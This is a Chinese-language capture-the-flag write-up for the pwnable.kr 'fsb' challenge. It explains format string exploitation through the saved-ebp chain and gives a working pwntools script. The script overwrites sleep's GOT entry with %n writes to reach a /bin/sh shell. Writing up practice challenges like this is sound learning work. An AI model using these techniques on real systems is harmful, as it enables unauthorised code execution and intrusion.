题目源码
题目分析
程序逻辑很简单,main
函数随机生成key
,然后调用fsb
函数。fsb
中判断用户输入的值和key
是否相等,相等则execve("/bin/sh\0",0,0);
,程序结构如下图:
看下源代码,fsb
函数中前面两个for循环没啥卵用,用于清除用户输入的参数和程序的工作环境,第3个for循环里有明显的格式化字符串漏洞:
格式化字符串漏洞发生在栈中,利用方式以下几种:
- 修改变量的值,绕过认证
- 覆写GOT表
- 修改栈中保存的返回地址
在这道题中,格式化字符串buf
存储在堆中,也就是说我们输入的内容不会出现在栈里,因此不能通过向栈中写入地址的方式进行攻击,不过我们可以利用栈中已有的值进行攻击。
用GDB
查看一下调用printf
时栈的布局,如下图:
可以看到,我们输入的值AAAABBBBCCCCDDDD
保存在0x804a100
中,是printf
的第一个参数;esp+72
和esp+76
处存放的分别是main
函数的ebp
和fsb
函数的返回地址。
函数在被调用的时候先将原函数的ebp
保存到栈中,在跳转至被调用函数的内部;返回时先将当前ebp
恢复为原函数的ebp
,再跳转回到原函数中。也就是说,栈中保存的ebp
永远指向原函数ebp
,它是一个链式的结构。
举个栗子,我们记funcA()
的ebp为ebpA
,funcB()
函数的ebp为ebpB
,funcC()
函数的ebp为ebpC
。
假如我们在funcA()
中调用funcB()
,funcB()
中又调用了funcC()
,那么:
保存在funcC()
栈桢中的ebp
为:
ebpC –> ebpB –> ebpA –> ? (?为调用funcA的函数的ebp)
保存在funcB()
栈桢中的ebp
为:
ebpB –> ebpA –> ? (?为调用funcA的函数的ebp)
保存在funcA()
栈桢中的ebp
为:
ebpA –> ? (?为调用funcA的函数的ebp)
回到题目中,printf
将执行时,esp+72
处是的fsb
函数的ebp
,它指向main
的ebp
ebp(fsb) –> ebp(main) –> 0x0
我们计算一下偏移量,72 / 4 = 18
,对应的是printf
的第18个参数,也就是说我们可以通过输入%88888c%18$n
来修改ebp(main)
处的值为888888
:
ebp(fsb) –> ebp(main) –> 88888
同理,我们也可以修改ebp(main)
指向的值为GOT表中函数的地址:
现在只需要找到ebp(main)
与esp(fsb)
之间的偏移量offset
,便可以通过"%%%d$n" % (offset)
来覆写GOT表了。
由于这个偏移量不是固定的,我们需要通过格式化字符串漏洞泄露一下ebp(fsb)
和ebp(main)
的地址,以上图为例:
esp(fsb) = 0xfff68f90
ebp(main) = 0xfff69378
offset = (0xfff69378 - 0xfff68f90) / 4 = 250
ebp(main)
可以通过%18$08x
泄露,而esp(fsb)
可以通过栈中的某些值确定,比如esp+56
处的值指向0xfff68fe0
,这个值和esp(fsb)
刚好相差0x50
。
解题思路
利用格式化字符串漏洞改写sleep
函数的GOT表,使程序调用sleep
函数时,执行execve("/bin/sh\0",0,0);
解题过程
泄露
main
函数ebp和fsb
函数的esp计算偏移量offset修改
main
函数ebp指向的值为sleep
在GOT表中的地址修改
sleep
在GOT表中的地址为0x080486ab
(execve("/bin/sh\0",0,0);
)触发
sleep
函数,得到shell
解题脚本
#!/usr/bin/python
from pwn import *
# context.log_level = 'debug'
# p = process('fsb')
p = ssh(host='pwnable.kr',port=2222,user='fsb',password='guest').run('/home/fsb/fsb')
# log.success("recv: " + p.recv(8))
sleep_got = 0x0804a008
shell = 0x080486ab
raw_input("#####################1########################")
payload = "%14$08x%18$08x"
# gdb.attach(p,"b *0x8048610")
p.recvuntil('(1)\n')
p.sendline(payload)
esp = int(p.recv(8),16) - 0x50
ebp = int(p.recv(8),16)
offset = (ebp - esp) / 4
log.success("esp = " + hex(esp))
log.success("ebp = " + hex(ebp))
log.success("offset = " + str(offset))
raw_input("#####################2########################")
payload = "%%%dc"%(sleep_got) + "%18$n"
p.recvuntil('(2)\n')
p.sendline(payload)
raw_input("#####################3########################")
payload = ("%%%dc"%(shell&0xffff)) + "%%%d$hn"%(offset)
#p.recvuntil('(3)\n')
sleep(3)
p.sendline(payload)
raw_input("#####################4########################")
payload = "AAAAAAAA"
p.recvuntil('(4)\n')
p.sendline(payload)
raw_input("#####################x########################")
sleep(4)
p.interactive()
More
ebp
–> ebp
–> ebp
–> ebp
–> ebp
–> ebp
–> ebp
–> bingo!